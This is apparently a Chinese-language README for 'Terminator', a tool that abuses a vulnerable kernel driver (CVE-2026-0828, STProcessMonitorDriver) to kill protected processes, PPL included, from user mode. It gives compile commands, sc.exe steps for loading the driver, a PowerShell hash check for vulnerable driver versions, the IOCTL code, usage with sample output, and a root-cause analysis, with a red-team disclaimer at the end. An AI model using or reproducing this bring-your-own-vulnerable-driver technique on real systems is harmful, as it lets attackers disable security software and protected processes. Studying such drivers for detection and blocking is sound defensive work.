一款利用易受攻击的驱动程序(CVE-2026-0828)的内核态进程终止工具,可从用户模式结束受保护进程。
需要 Windows 上的 MinGW-w64(GCC)。使用以下命令编译:
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
选项说明:
| 选项 | 用途 |
|---|---|
--% | PowerShell 停止解析标记(将参数原样传递给 g++) |
-Oz | 优化以最小化体积 |
-ffunction-sections / -fdata-sections | 将每个函数/数据放入独立区段 |
-static / -static-libgcc / -static-libstdc++ | 静态链接(无运行时 DLL 依赖) |
-Wl,--gc-sections | 链接器垃圾回收未使用的区段 |
-W | 启用警告 |
输出:独立的 terminator.exe(剥离后约 20-30 KB)。
本项目演示了如何利用易受攻击的内核驱动程序(STProcessMonitorDriver),该驱动暴露了一个未经验证的 IOCTL_KILL_PROCESS 处理例程,可无视权限或保护机制(PPL、EPROCESS 标志等)终止任意进程。
| 组件 | 用途 |
|---|---|
terminator.cpp | 枚举进程并发送终止 IOCTL 的用户模式客户端 |
terminator.hpp | 用于进程枚举和终止的类接口 |
ProcessMonitorDriver.sys | 易受攻击的内核驱动程序(外部提供,未包含) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS) 创建快照Process32First/Process32Next 遍历所有进程Terminator::ProcessKill()
\\.\STProcessMonitorDriver 的句柄IOCTL_KILL_PROCESS (0xB822200C),附带 8 字节 PID 缓冲区加载易受攻击的驱动程序(需要管理员权限):
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
如果已安装易受攻击版本的 ProcessMonitorDriver.sys 并作为服务运行(例如来自合法应用程序),Terminator 可以直接连接,无需加载新的驱动程序。
检查服务是否存在且正在运行:
sc.exe query STProcessMonitor
验证驱动程序版本是否易受攻击(PowerShell):
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
如果服务存在且为 RUNNING 状态,并且运行的是易受攻击的版本,请跳过驱动程序加载步骤,直接运行 Terminator。
| 版本 | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
其他版本也可能受到影响;使用前请验证驱动程序的 IOCTL 处理例程。
terminator.exe -proc <process_name1> [process_name2] ...
示例:
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
漏洞:驱动程序 STProcessMonitorDriver 注册了一个 IOCTL 处理例程(0xB822200C),该例程:
PsLookupProcessByProcessId → ZwTerminateProcessSYSTEM 令牌)中运行,绕过所有用户模式 ACL影响:任何具有驱动程序访问权限的非管理员用户都可以终止:
SeDebugPrivilege 的进程根本原因:缺少 ObReferenceObjectByHandle 验证,未执行 SeSinglePrivilegeCheck(SeDebugPrivilege),且未进行进程对象访问检查。
本工具仅用于经授权的安全研究和红队演练。
对您不拥有或未获明确测试许可的系统进行未授权使用属于违法行为。作者对滥用行为不承担任何责任。在任何环境中部署前,请确保您已获得书面授权。
易受攻击的驱动程序(
ProcessMonitorDriver.sys)是为演示目的而故意存在缺陷的,切勿在生产环境中部署。